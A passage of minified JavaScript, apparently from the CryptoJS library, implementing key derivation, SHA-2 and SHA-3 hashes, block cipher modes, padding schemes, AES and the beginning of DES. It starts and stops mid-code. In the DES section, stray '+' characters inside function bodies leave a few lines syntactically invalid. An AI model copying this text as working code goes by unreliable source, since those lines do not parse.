keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 